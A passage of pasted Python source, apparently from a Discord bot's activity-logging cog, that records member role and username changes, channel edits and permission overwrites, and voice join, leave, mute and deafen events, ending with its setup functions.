  773. entries.append("Member username: '@{0}' (id {0.id}) changed username "
  774. "from '{0.name}' to '{1.name}'".format(before, after))
  775. if before.roles != after.roles:
  776. broles = set(before.roles)
  777. aroles = set(after.roles)
  778. added = aroles - broles
  779. removed = broles - aroles
  780. for r in added:
  781. entries.append("Member role add: '%s' role was added to @%s" % (r, after))
  782. for r in removed:
  783. entries.append("Member role remove: The '%s' role was removed from @%s" % (r, after))
  784. for e in entries:
  785. await self.log(before.server, e)
  786.  
  787. async def on_channel_create(self, channel):
  788. if channel.is_private:
  789. return
  790. entry = 'Channel created: %s' % channel
  791. await self.log(channel.server, entry)
  792.  
  793. async def on_channel_delete(self, channel):
  794. if channel.is_private:
  795. return
  796. entry = 'Channel deleted: %s' % channel
  797. await self.log(channel.server, entry)
  798.  
  799. async def on_channel_update(self, before, after):
  800. if type(before) is discord.PrivateChannel:
  801. return
  802. elif not self.should_log(before.server):
  803. return
  804.  
  805. entries = []
  806.  
  807. if before.name != after.name:
  808. entries.append('Channel rename: %s renamed to %s' %
  809. (before, after))
  810.  
  811. if before.topic != after.topic:
  812. entries.append('Channel topic: %s topic was set to "%s"' %
  813. (before, after.topic))
  814.  
  815. if before.position != after.position:
  816. entries.append('Channel position: {0.name} moved from {0.position} '
  817. 'to {1.position}'.format(before, after))
  818.  
  819. before_overwrites = dict(before.overwrites)
  820. after_overwrites = dict(after.overwrites)
  821. before_overwrite_set = set(before_overwrites)
  822. after_overwrite_set = set(after_overwrites)
  823.  
  824. for old_ow in before_overwrite_set - after_overwrite_set:
  825. entries.append(self.format_overwrite(old_ow, before, before_overwrites[old_ow], None))
  826.  
  827. for new_ow in after_overwrite_set - before_overwrite_set:
  828. entries.append(self.format_overwrite(new_ow, before, None, after_overwrites[new_ow]))
  829.  
  830. for isect_ow in after_overwrite_set & before_overwrite_set:
  831. if before_overwrites[isect_ow].pair() == after_overwrites[isect_ow].pair():
  832. continue
  833.  
  834. entries.append(self.format_overwrite(isect_ow, before,
  835. before_overwrites[isect_ow],
  836. after_overwrites[isect_ow]))
  837.  
  838. for e in entries:
  839. await self.log(before.server, e)
  840.  
  841. async def on_command(self, command, ctx):
  842. if ctx.cog is self and self.analytics:
  843. self.analytics.command(ctx)
  844.  
  845. async def on_voice_state_update(self, before, after):
  846. if not self.should_log(before.server):
  847. return
  848.  
  849. if before.voice_channel != after.voice_channel:
  850. if before.voice_channel:
  851. msg = "Voice channel leave: {0} (id {0.id})"
  852. if after.voice_channel:
  853. msg += ' moving to {1.voice_channel}'
  854.  
  855. await self.log(before.voice_channel, msg.format(before, after))
  856.  
  857. if after.voice_channel:
  858. msg = "Voice channel join: {0} (id {0.id})"
  859. if before.voice_channel:
  860. msg += ', moved from {0.voice_channel}'
  861.  
  862. flags = self.get_voice_flags(after)
  863. if flags:
  864. msg += ', flags: %s' % ','.join(flags)
  865.  
  866. await self.log(after.voice_channel, msg.format(before, after))
  867.  
  868. if before.deaf != after.deaf:
  869. verb = 'deafen' if after.deaf else 'undeafen'
  870. await self.log(before.voice_channel,
  871. 'Server {0}: {1} (id {1.id})'.format(verb, before))
  872.  
  873. if before.mute != after.mute:
  874. verb = 'mute' if after.mute else 'unmute'
  875. await self.log(before.voice_channel,
  876. 'Server {0}: {1} (id {1.id})'.format(verb, before))
  877.  
  878. if before.self_deaf != after.self_deaf:
  879. verb = 'deafen' if after.self_deaf else 'undeafen'
  880. await self.log(before.voice_channel,
  881. 'Server self-{0}: {1} (id {1.id})'.format(verb, before))
  882.  
  883. if before.self_mute != after.self_mute:
  884. verb = 'mute' if after.self_mute else 'unmute'
  885. await self.log(before.voice_channel,
  886. 'Server self-{0}: {1} (id {1.id})'.format(verb, before))
  887.  
  888.  
  889. def check_folders():
  890. if not os.path.exists(PATH):
  891. os.mkdir(PATH)
  892.  
  893.  
  894. def check_files():
  895. if not dataIO.is_valid_json(JSON):
  896. defaults = {
  897. 'everything': False,
  898. 'attachments': False,
  899. 'default': False
  900. }
  901. dataIO.save_json(JSON, defaults)
  902.  
  903.  
  904. def setup(bot):
  905. check_folders()
  906. check_files()
  907. n = ActivityLogger(bot)
  908. bot.add_cog(n)
Add Comment
Please, Sign In to add comment